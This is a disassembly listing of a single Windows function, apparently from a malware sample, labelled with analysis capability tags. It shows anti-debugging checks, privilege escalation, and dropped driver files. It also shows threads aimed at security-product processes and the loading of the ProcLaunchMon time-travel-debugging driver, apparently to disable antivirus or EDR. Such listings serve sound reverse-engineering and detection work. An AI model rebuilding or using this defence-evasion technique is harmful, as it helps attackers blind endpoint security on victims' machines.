Function at 0x140002450
Capabilities:
Check for peb ntglobalflag flag
Create thread
Get common file path

Disassembly:
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x6a0
lea rcx, str._i__app_main_function
call fcn.140002fc0
mov rax, qword gs:[0x60]
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x58]
mov eax, dword [rax + 0xbc]
mov dword [rsp + 0x30], eax
call fcn.140004470
cmp qword [0x140010d00], 0
je 0x1400024ab
mov rcx, qword [0x140010d00]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
call qword [0x140018038]
mov dword [rsp + 0x40], 0
mov qword [rsp + 0x60], 0
mov dword [rsp + 0x44], 0
lea rax, [rsp + 0x490]
mov rdi, rax
xor eax, eax
mov ecx, 0x208
rep stosb byte [rdi], al
mov dword [rsp + 0x48], 0
mov qword [rsp + 0x68], 0
mov dword [rsp + 0x4c], 0
mov dword [rsp + 0x50], 0
call fcn.140002ff0
test eax, eax
jne 0x140002510
lea rcx, str.Setting_DebugPrivilege_failed__this_might_cause_access_denied__5__error_on_some_hosts
call fcn.140002fc0
jmp 0x14000251c
lea rcx, str.___DebugPrivilege_granted
call fcn.140002fc0
mov eax, dword [rsp + 0x30]
and eax, 0x70
test eax, eax
je 0x14000252c
jmp 0x140002a20
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x38]
mov edx, 0xf01ff
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x140002557
lea rcx, str.____OpenProcessToken_error_n
call fcn.140002fc0
jmp 0x140002572
lea rdx, str.SeTcbPrivilege
mov rcx, qword [rsp + 0x38]
call fcn.140006e40
mov rcx, qword [rsp + 0x38]
call fcn.140007640
lea rdx, [rsp + 0x70]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
lea r9, str.PED.sys
lea r8, [rsp + 0x70]
lea rdx, str._ws_ws
lea rcx, [0x140010af0]
call qword [sym.imp.USER32.dll_wsprintfW]
lea r9, str.PPL.sys
lea r8, [rsp + 0x70]
lea rdx, str._ws_ws
lea rcx, [0x14000e140]
call qword [sym.imp.USER32.dll_wsprintfW]
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
mov dword [0x140010d98], eax
lea rcx, [0x140010af0]
call fcn.1400018c0
call fcn.140004470
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
lea r9, str.SecurityHealthHost.exe
lea r8, [0x140005f60]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, 8
imul rcx, rcx, 0
lea rdx, [0x14000e470]
mov qword [rdx + rcx], rax
mov eax, 8
imul rax, rax, 0
lea rcx, [0x14000e470]
cmp qword [rcx + rax], 0
je 0x140002678
mov eax, 8
imul rax, rax, 0
lea rcx, [0x14000e470]
xor r9d, r9d
xor r8d, r8d
mov edx, dword [0x140009a00]
mov rcx, qword [rcx + rax]
call qword [0x140018070]
mov eax, 8
imul rax, rax, 0
lea rcx, [0x14000e470]
mov edx, 0xfffffffe
mov rcx, qword [rcx + rax]
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
lea r9, str.SecurityHealthService
lea r8, [0x1400058a0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, 8
imul rcx, rcx, 1
lea rdx, [0x14000e470]
mov qword [rdx + rcx], rax
mov eax, 8
imul rax, rax, 1
lea rcx, [0x14000e470]
cmp qword [rcx + rax], 0
je 0x140002711
mov eax, 8
imul rax, rax, 1
lea rcx, [0x14000e470]
xor r9d, r9d
xor r8d, r8d
mov edx, dword [0x140009a00]
mov rcx, qword [rcx + rax]
call qword [0x140018070]
mov eax, 8
imul rax, rax, 1
lea rcx, [0x14000e470]
mov edx, 0xfffffffe
mov rcx, qword [rcx + rax]
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
lea r9, str.AgentSvc.exe
lea r8, [0x140005f60]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, 8
imul rcx, rcx, 2
lea rdx, [0x14000e470]
mov qword [rdx + rcx], rax
mov eax, 8
imul rax, rax, 2
lea rcx, [0x14000e470]
cmp qword [rcx + rax], 0
je 0x14000278b
mov eax, 8
imul rax, rax, 2
lea rcx, [0x14000e470]
xor r9d, r9d
xor r8d, r8d
mov edx, dword [0x140009a00]
mov rcx, qword [rcx + rax]
call qword [0x140018070]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
lea r9, str.NanoServiceMain
lea r8, [0x1400058a0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, 8
imul rcx, rcx, 3
lea rdx, [0x14000e470]
mov qword [rdx + rcx], rax
mov eax, 8
imul rax, rax, 3
lea rcx, [0x14000e470]
cmp qword [rcx + rax], 0
je 0x140002824
mov eax, 8
imul rax, rax, 3
lea rcx, [0x14000e470]
xor r9d, r9d
xor r8d, r8d
mov edx, dword [0x140009a00]
mov rcx, qword [rcx + rax]
call qword [0x140018070]
mov eax, 8
imul rax, rax, 3
lea rcx, [0x14000e470]
mov edx, 0xffffffff
mov rcx, qword [rcx + rax]
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
lea r9, str.PSINAflt
lea r8, [0x140005cd0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, 8
imul rcx, rcx, 4
lea rdx, [0x14000e470]
mov qword [rdx + rcx], rax
mov eax, 8
imul rax, rax, 4
lea rcx, [0x14000e470]
cmp qword [rcx + rax], 0
je 0x1400028bd
mov eax, 8
imul rax, rax, 4
lea rcx, [0x14000e470]
xor r9d, r9d
xor r8d, r8d
mov edx, dword [0x140009a00]
mov rcx, qword [rcx + rax]
call qword [0x140018070]
mov eax, 8
imul rax, rax, 4
lea rcx, [0x14000e470]
mov edx, 0xfffffff1
mov rcx, qword [rcx + rax]
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edx, 0x104
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea r9, [0x14000ba08]
lea r8, [rsp + 0x70]
lea rdx, str._wsdrivers_ws
lea rcx, [rsp + 0x280]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rdx, str.ProcLaunchMon
lea rcx, [rsp + 0x280]
call fcn.140001bd0
test eax, eax
jne 0x14000291f
lea rcx, str.____Could_not_load_TTD_driver__may_be_loaded
call fcn.140002fc0
jmp 0x14000292b
lea rcx, str.___Driver_TTD_loaded_successfully
call fcn.140002fc0
lea rcx, str._i__Try_connect_to_TTD_driver...
call fcn.140002fc0
lea rcx, str.com_microsoft_idna_ProcLaunchMon
call fcn.140001a70
mov qword [0x14000e410], rax
cmp qword [0x14000e410], 0
jne 0x140002962
lea rcx, str.____NoConnectTo_TTD_Device._AV_block_driver_
call fcn.140002fc0
jmp 0x1400029b6
lea rcx, str._____________________________________________________
call fcn.140002fc0
lea rcx, str._____________________________________________________
call fcn.140002fc0
lea rcx, str._____________________________________________________
call fcn.140002fc0
lea rcx, str.____________Connected_to_TTD_Driver_successful________________
call fcn.140002fc0
lea rcx, str._____________________________________________________
call fcn.140002fc0
lea rcx, str._____________________________________________________
call fcn.140002fc0
lea rcx, str._____________________________________________________
call fcn.140002fc0
xor ecx, ecx
call fcn.140001f50
cmp eax, 1
jne 0x140002a20
mov dword [0x140010d90], 1
lea rcx, str._____________________________________________________
call fcn.140002fc0
lea rcx, str._____________________________________________________
call fcn.140002fc0
lea rcx, str._____________________________________________________
call fcn.140002fc0
lea rcx, str.____________INIT_TTD_Driver_Init______________________
call fcn.140002fc0
lea rcx, str._____________________________________________________
call fcn.140002fc0
lea rcx, str._____________________________________________________
call fcn.140002fc0
lea rcx, str._____________________________________________________
call fcn.140002fc0
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x14000e140]
call fcn.140004390
mov r9d, 0xffffffff
mov r8d, 1
lea rdx, [0x14000e470]
mov ecx, 5
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
lea rcx, str.____ALARM:_EXIT_
call fcn.140002fc0
xor eax, eax
add rsp, 0x6a0
pop rdi
ret